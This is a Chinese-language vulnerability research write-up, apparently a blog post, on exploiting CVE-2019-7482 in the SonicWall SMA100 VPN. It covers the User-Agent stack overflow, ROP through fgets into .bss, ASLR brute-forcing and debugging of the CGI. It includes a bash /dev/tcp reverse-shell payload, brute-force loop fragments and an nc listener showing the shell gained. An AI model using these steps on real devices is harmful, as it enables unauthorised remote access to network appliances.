sonicwall SMA100缓冲区溢出漏洞分析与利用

 

作者:维阵漏洞研究员—w0lfzhang

sonicwall去年爆了一个RCE漏洞,是个pre-auth栈溢出,编号为CVE-2019-7482,那时候觉得就是个简单的栈溢出,觉得没什么好分析的。但是后来去写exp的时候,觉得一些分析过程及利用技巧在针对防火墙vpn等网络设备很有借鉴价值,所以就详细记录一下利用的过程。

 

环境搭建

该漏洞影响sonicwall SMA 100型号,可以从官网免费下载sonicwall的虚拟机,我测试的虚拟机版本为sw_sslvpnsra-vm__eng_8.1.0.7.ova

因为虚拟机没有提供标准shell,首先shell escape下。旧版本的shell逃逸比较简单,虚拟机挂载一下硬盘,然后修改passwd里面root的登录环境为/bin/sh即可。

root@sslvpn:~ # cat /etc/passwd
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
mail:x:8:12:mail:/var/spool/mail:/bin/false
squid:x:23:23:ftp:/var/spool/squid:/bin/false
ntp:x:38:38::/etc/ntp:/bin/false
sshd:x:74:74:sshd:/var/empty:/bin/false
nobody:x:99:99:Nobody:/home/nobody:/bin/false
snort:x:100:101:ftp:/var/log/snort:/bin/false
logwatch:x:102:102::/var/log/logwatch:/bin/false
dnsmasq:x:103:103::/:/bin/false
cron:x:104:104::/:/bin/false
admin::105:105::/:/usr/sbin/cli

然后在虚拟机里手动启动下ssh(执行/usr/sbin/sshd)即可ssh登录了,登录凭证为root/password(可用john破解下shadow)。

➜  sonicwall ssh root@192.168.x.x
root@192.168.x.x's password:
root@sslvpn:~ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),6(disk),10(wheel),105(rootadmin)
root@sslvpn:~ #

因为sonicwall的虚拟机没有提供wget,curl,scp等工具,只提供了ftp命令供上传下载文件,所以需要在本机搭建下ftp服务器供后续调试上传相关文件使用。

➜  sonicfs python -m pyftpdlib -p 2121
[I 2021-01-30 14:09:19] concurrency model: async
[I 2021-01-30 14:09:19] masquerade (NAT) address: None
[I 2021-01-30 14:09:19] passive ports: None
[I 2021-01-30 14:09:19] >>> starting FTP server on 0.0.0.0:2121, pid=2474 <<<

 

漏洞分析

sonicwall SMA的web服务用的是Apache httpd,大部分功能都是用自己实现的相关cgi。大部分cgi是需要认证的,有几个是不需要的。漏洞点在supportLogin cgi中,该cgi访问无需认证。漏洞很简单,http头user-agent处理不当导致栈溢出,在getSafariVersion函数中,真正的实现在libsys.so中:

int __cdecl getSafariVersion(char *a1, int a2, int a3, int a4)
{
  ...
  char dest[44]; // [esp+10h] [ebp-3Ch]

  v4 = 0;
  if ( strstr(a1, "Safari") && !strstr(a1, "Chrome") )
  {
    v6 = strstr(a1, "Version/");
    v7 = v6 + 8;
    v8 = strchr(v6 + 8, ' ');
    if ( v8 )
    {
      v9 = 0;
      do
      {
        *(_DWORD *)&dest[v9] = 0;
        v9 += 4;
      }
      while ( v9 < 0x20 );
      memcpy(dest, v7, v8 - (_BYTE *)v7);
      v10 = strchr(dest, '.');
      ...

该函数会把user-agent头中Version/和空格之间的内容复制到栈缓冲区上,长度未做限制,然而该缓冲区长度只有44字节,所以很明显的溢出。接下来就是如何利用这个栈溢出来获取root权限了。

 

漏洞利用

首先要知道的事http服务是以nobody用户权限运行的,其启动的cgi也是一样,所以直接利用该漏洞获取的权限也是nobody。

root@sslvpn:~ # ps aux |grep httpd
root      1592  0.0  0.2  15944  5964 ?        Ss   21:52   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1797  0.0  0.2  16068  5032 ?        S    21:53   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1798  0.0  0.2  16068  5032 ?        S    21:53   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1799  0.0  0.2  16064  5028 ?        S    21:53   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1800  0.0  0.2  16068  5032 ?        S    21:53   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1801  0.0  0.2  16064  5028 ?        S    21:53   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1802  0.0  0.2  16064  5028 ?        S    21:53   0:00 /usr/src/EasyAccess/bin/httpd
nobody    1803  0.0  0.2  16064  5028 ?        S    21:53   0:00 /usr/src/EasyAccess/bin/httpd
......

然后按以往的习惯查看下程序的保护措施:

➜  sonicfs checksec supportLogin && checksec libSys.so
[*] ...supportLogin'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] ...libSys.so'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

可以看到cgi和目标库是没有开栈保护的,主程序没开PIE,NX开了,接下来看下地址随机化:

root@sslvpn:~ # cat /proc/sys/kernel/randomize_va_space
2

地址随机化也开了。可能到这你会发现这在ctf中就是个简单的栈溢出,但是一般来说ctf中的pwn是可以跟stdio,stdout进行交互的,就是说他输出的内容你可以正常接受,你也可以通过键盘输入你想输入的东西,一切都看似很正常。但是因为这里cgi运行的是在真实的web服务器上,跟它的交互也只能是socket,而在真实的web服务器上你是无法知道socket对应的fd是什么的。而且就算知道fd了,fd上的数据也是httpd在处理,而不是对应的cgi在处理。而且以前针对地址随机化的处理方法都是泄露libc地址等,但是这里也因为以上原因是无法通过fd来接受泄露数据。

还有一个问题,怎么调试cgi?因为cgi的调试不可以像普通程序那样直接attach调试,cgi的启动是由httpd执行的,把包发过去一瞬间就执行完了,根本没有机会attach。有种方法是写个sh脚本手动执行下cgi,但是后来发现手动执行cgi和httpd执行cgi两者的内存分布是不一样的,真实情况如下:
我们先来看下httpd的虚拟内存布局情况(因为暂时还无法看到cgi执行时的内存布局):

root@sslvpn:~ # cat /proc/1798/maps
08048000-0812c000 r-xp 00000000 08:04 82025      /usr/src/EasyAccess/bin/httpd
0812c000-08130000 rw-p 000e3000 08:04 82025      /usr/src/EasyAccess/bin/httpd
08130000-08135000 rw-p 00000000 00:00 0
08e61000-08fb0000 rw-p 00000000 00:00 0          [heap]
08fb0000-08ff7000 rw-p 00000000 00:00 0          [heap]
08ff7000-09016000 rw-p 00000000 00:00 0          [heap]
b6a2f000-b6a62000 rw-s 00000000 00:04 0          /SYSV0104fce5 (deleted)
b6a62000-b6ae3000 rw-s 00000000 00:04 6724       /dev/zero (deleted)
...
b6e68000-b6ff4000 r-xp 00000000 08:04 40410      /lib/libc-2.14.1.so
b6ff4000-b6ff5000 ---p 0018c000 08:04 40410      /lib/libc-2.14.1.so
b6ff5000-b6ff7000 r--p 0018c000 08:04 40410      /lib/libc-2.14.1.so
b6ff7000-b6ff8000 rw-p 0018e000 08:04 40410      /lib/libc-2.14.1.so
...
b7497000-b766c000 r-xp 00000000 08:04 40641      /lib/libSys.so
b766c000-b7673000 rw-p 001d5000 08:04 40641      /lib/libSys.so
b7673000-b7677000 rw-p 00000000 00:00 0
...
b76fe000-b76ff000 rw-p 00000000 00:00 0
b76ff000-b7700000 r-xp 00000000 00:00 0          [vdso]
b7700000-b7720000 r-xp 00000000 08:04 41148      /lib/ld-2.14.1.so
b7720000-b7721000 r--p 0001f000 08:04 41148      /lib/ld-2.14.1.so
b7721000-b7722000 rw-p 00020000 08:04 41148      /lib/ld-2.14.1.so
bfc74000-bfc95000 rw-p 00000000 00:00 0          [stack]

没有什么问题,libc等地址0xb6开头。但是手动执行cgi的内存布局如下:

gef➤  vmm
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x0804e000 0x00000000 r-x /usr/src/EasyAccess/www/cgi-bin/supportLogin
0x0804e000 0x0804f000 0x00005000 rw- /usr/src/EasyAccess/www/cgi-bin/supportLogin
0x40000000 0x40020000 0x00000000 r-x /lib/ld-2.14.1.so
0x40020000 0x40021000 0x0001f000 r-- /lib/ld-2.14.1.so
0x40021000 0x40022000 0x00020000 rw- /lib/ld-2.14.1.so
0x40022000 0x40023000 0x00000000 r-x [vdso]
0x40023000 0x40024000 0x00000000 rw-
...
0x400d0000 0x402a5000 0x00000000 r-x /lib/libSys.so
0x402a5000 0x402ac000 0x001d5000 rw- /lib/libSys.so
0x402ac000 0x402af000 0x00000000 rw-
...
0x40514000 0x406a0000 0x00000000 r-x /lib/libc-2.14.1.so
0x406a0000 0x406a1000 0x0018c000 --- /lib/libc-2.14.1.so
0x406a1000 0x406a3000 0x0018c000 r-- /lib/libc-2.14.1.so
0x406a3000 0x406a4000 0x0018e000 rw- /lib/libc-2.14.1.so
...
0x409dc000 0x409de000 0x00000000 rw-
0x409de000 0x409f8000 0x00000000 r-x /usr/lib/libsasl2.so.2.0.25
0x409f8000 0x409f9000 0x0001a000 rw- /usr/lib/libsasl2.so.2.0.25
0x409f9000 0x409fb000 0x00000000 rw-
0xbffdf000 0xc0000000 0x00000000 rw- [stack]

奇怪得很,lib地址mmap在了0x40开头的地址,而且真正运行exp的时候用0x40的地址是打不了的。所以要真正attach httpd执行的cgi才能知道真实情况。

所以到这里我们需要解决以下问题:

  1. 如何控制输入流来进行ROP。
  2. 如何绕过地址随机化。
  3. 如何调试真实执行的cgi程序。

第一个问题解决不难,我们可通过post请求方法控制post数据来控制输入流。因为httpd执行的cgi的标准输入来自httpd的post数据。所以在ROP时需要从标准输入读取数据可通过发送post包。在ROP中需要解决的一个问题是我们执行的命令应该放在哪里,因为地址随机化的影响,我们不能放到栈上和堆上。我们可以把其放到supporLogin主程序的bss等可写的段。

data = "/bin/bash -i >& /dev/tcp/192.168.x.x/9090 0>&1;"
session = requests.Session()
headers = xxx
response = session.post("https://192.168.x.x/cgi-bin/supportLogin", headers=headers, data = data, verify=False)

在ROP的过程中还需要解决一个问题就是\x00是进不去的,所以不能调用read等函数来读取数据,但是可以调用fgets函数,该函数就一个参数,直接设置成bss段地址即可,不包含\x00字符。

第二个问题,因为是x86 32位程序,在运行多次后发现lib地址只有中间12bit会有变化,0xb7开头,后面三个是0,所以我们只需要爆破0xb7xxx000中的12位即可,运行几秒后即可爆破成功。

第三个问题想了很多方法。第一是通过patch程序,例如加断点,修改一些函数为sleep等,但是都没有成功。最后想了个方法,在虚拟机中运行:

while true;  do a=`pgrep supportLogin`;if [ -n "$a" ]; then /tmp/gdbserver :1234 --attach $a; else echo 'not'; fi;done

然后正常不断的发送http数据包即可,会有一定几率attach到cgi程序。

...
Cannot attach to process 20226: Operation not permitted (1), process 20226 is a zombie - the process has already terminated
Exiting
not
not
not
Attached; pid = 20236
Listening on port 1234
...

然后在本机用gdb即可调试。

gef➤  target remote 192.168.x.x:1234
...
0xbfdb70b8│+0x0000: 0x00000001   ← $esp
0xbfdb70bc│+0x0004: 0x00000000
0xbfdb70c0│+0x0008: 0xbfdb720c  →  0xfbad2088
0xbfdb70c4│+0x000c: 0xb72a4643  →  <waitpid+35> pop ebx
0xbfdb70c8│+0x0010: 0xb7391ff4  →  0x0018ed7c
0xbfdb70cc│+0x0014: 0xb7240bb3  →   cmp eax, 0xffffffff
0xbfdb70d0│+0x0018: 0x00004f11
0xbfdb70d4│+0x001c: 0xbfdb720c  →  0xfbad2088
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0xb7887420 <__kernel_vsyscall+12> nop
   0xb7887421 <__kernel_vsyscall+13> nop
   0xb7887422 <__kernel_vsyscall+14> int    0x80
 → 0xb7887424 <__kernel_vsyscall+16> pop    ebp
   0xb7887425 <__kernel_vsyscall+17> pop    edx
   0xb7887426 <__kernel_vsyscall+18> pop    ecx
   0xb7887427 <__kernel_vsyscall+19> ret
   0xb7887428                  add    BYTE PTR [esi], ch
   0xb788742a                  jae    0xb7887494
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, stopped 0xb7887424 in __kernel_vsyscall (), reason: STOPPED
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xb7887424 → __kernel_vsyscall()
[#1] 0xb72a4643 → waitpid()
[#2] 0xb7240bb3 → cmp eax, 0xffffffff
[#3] 0x804eb5c → das
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmm
[ Legend:  Code | Heap | Stack ]
Start      End        Offset     Perm Path
0x08048000 0x0804e000 0x00000000 r-x /usr/src/EasyAccess/www/cgi-bin/supportLogin
0x0804e000 0x0804f000 0x00005000 rw- /usr/src/EasyAccess/www/cgi-bin/supportLogin
0x09efd000 0x09f1e000 0x00000000 rw- [heap]
0xb6eaf000 0xb6eb1000 0x00000000 rw-
...
0xb7203000 0xb738f000 0x00000000 r-x /lib/libc-2.14.1.so
0xb738f000 0xb7390000 0x0018c000 --- /lib/libc-2.14.1.so
0xb7390000 0xb7392000 0x0018c000 r-- /lib/libc-2.14.1.so
0xb7392000 0xb7393000 0x0018e000 rw- /lib/libc-2.14.1.so

可以看到真实执行的cgi对应的库的地址是以0xb7开头的。
最后在爆破的时候需要注意的是,因为库的地址是变化的,所以如果爆破时libc的地址也变,两者要同时是相同的地址概率比较小:

def main():
    libc = 0xb7000000
    while True:
        try:
            print '[+] libc = ' + hex(libc)
            pwn(libc)
            libc += 0x1000
            #time.sleep(1)
        except:
            continue

但是如果爆破基址不变然后去碰撞libc地址的话概率会提高:

while True:
    try:
        pwn(0xb7203000)
    except:
        continue

最后用第二种思路可几秒就爆破成功,获得设备nobody权限:

➜  sonicfs nc -lvvp 9090
Listening on 0.0.0.0 9090
Connection received on 192.168.x.x 46632
bash: no job control in this shell
bash-4.2$ id
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
bash-4.2$ uname -a
uname -a
Linux sslvpn 3.1.0 #1 Sat Dec 3 03:07:54 GMT 2016 i686 i686 i386 GNU/Linux
bash-4.2$

至于提权的话,linux kernel 3.1.0的内核有很多本地提权漏洞可以用,例如脏牛…

总得来说,虽然这个漏洞看起是比较简单的,漏洞利用也不难,但是利用过程中及调试过程还是比较有意思的,所以记录一下。

漏洞poc: https://github.com/w0lfzhang/some_nday_bugs/tree/master/Sonicwall-CVE-2019-7482

(完)